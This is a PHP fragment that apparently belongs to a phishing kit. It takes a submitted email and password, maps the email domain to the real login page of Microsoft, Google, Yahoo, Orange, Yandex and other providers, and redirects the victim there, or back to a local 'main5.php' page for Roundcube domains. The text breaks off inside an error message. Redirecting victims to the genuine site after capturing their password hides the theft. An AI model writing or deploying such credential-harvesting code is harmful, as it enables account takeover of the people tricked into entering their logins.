// ============================================ // OFFICIAL LOGIN PAGE URLs BY PROVIDER // ============================================ $officialLoginPages = [ // Microsoft / Office365 'hotmail.com' => 'https://login.live.com', 'outlook.com' => 'https://login.live.com', 'live.com' => 'https://login.live.com', 'msn.com' => 'https://login.live.com', 'microsoft.com' => 'https://www.office.com', 'office365.com' => 'https://www.office.com', 'onmicrosoft.com' => 'https://www.office.com', // Yahoo 'yahoo.com' => 'https://login.yahoo.com', 'ymail.com' => 'https://login.yahoo.com', 'rocketmail.com' => 'https://login.yahoo.com', // Google 'gmail.com' => 'https://accounts.google.com', 'google.com' => 'https://accounts.google.com', 'googlemail.com' => 'https://accounts.google.com', // Orange 'orange.fr' => 'https://messagerie.orange.fr', 'wanadoo.fr' => 'https://messagerie.orange.fr', // ProtonMail 'protonmail.com' => 'https://account.proton.me', 'proton.me' => 'https://account.proton.me', // Apple iCloud 'icloud.com' => 'https://www.icloud.com', 'me.com' => 'https://www.icloud.com', 'mac.com' => 'https://www.icloud.com', // Zoho 'zoho.com' => 'https://accounts.zoho.com', 'zohomail.com' => 'https://accounts.zoho.com', // AOL 'aol.com' => 'https://login.aol.com', // Yandex 'yandex.com' => 'https://passport.yandex.com', 'yandex.ru' => 'https://passport.yandex.ru', // Mail.ru 'mail.ru' => 'https://mail.ru', 'bk.ru' => 'https://mail.ru', 'list.ru' => 'https://mail.ru', 'inbox.ru' => 'https://mail.ru', ]; // ============================================ // PROCESS LOGIN AND REDIRECT // ============================================ // Get submitted credentials $username = isset($_POST['username']) ? strtolower(trim($_POST['username'])) : ''; $password = isset($_POST['password']) ? $_POST['password'] : ''; // Validate we have both fields if (empty($username) || empty($password)) { header("Location: main5.php" . (!empty($username) ? "?email=" . urlencode($username) : "")); exit; } // Extract domain $domain = ''; if (strpos($username, '@') !== false) { $domain = substr(strrchr($username, "@"), 1); } // Detect provider $provider = detectEmailProvider($username); // Determine redirect target $redirectUrl = null; // Step 1: Check if domain is in official list if (isset($officialLoginPages[$domain])) { $redirectUrl = $officialLoginPages[$domain]; } // Step 2: Check if provider was detected via DNS else { switch ($provider) { case 'office365': $redirectUrl = 'https://login.microsoftonline.com'; break; case 'cpanel': $redirectUrl = 'https://webmail.' . $domain; break; case 'roundcube': // Redirect to your local Roundcube page $redirectUrl = 'main5.php?email=' . urlencode($username); break; case 'unknown': default: // No redirect - show error page $redirectUrl = null; break; } } // ============================================ // PERFORM REDIRECT OR SHOW ERROR // ============================================ if ($redirectUrl !== null) { header("Location: " . $redirectUrl); exit(); } else { // Show error page for unknown provider echo '
We couldn\\'t automatically identify the login page for: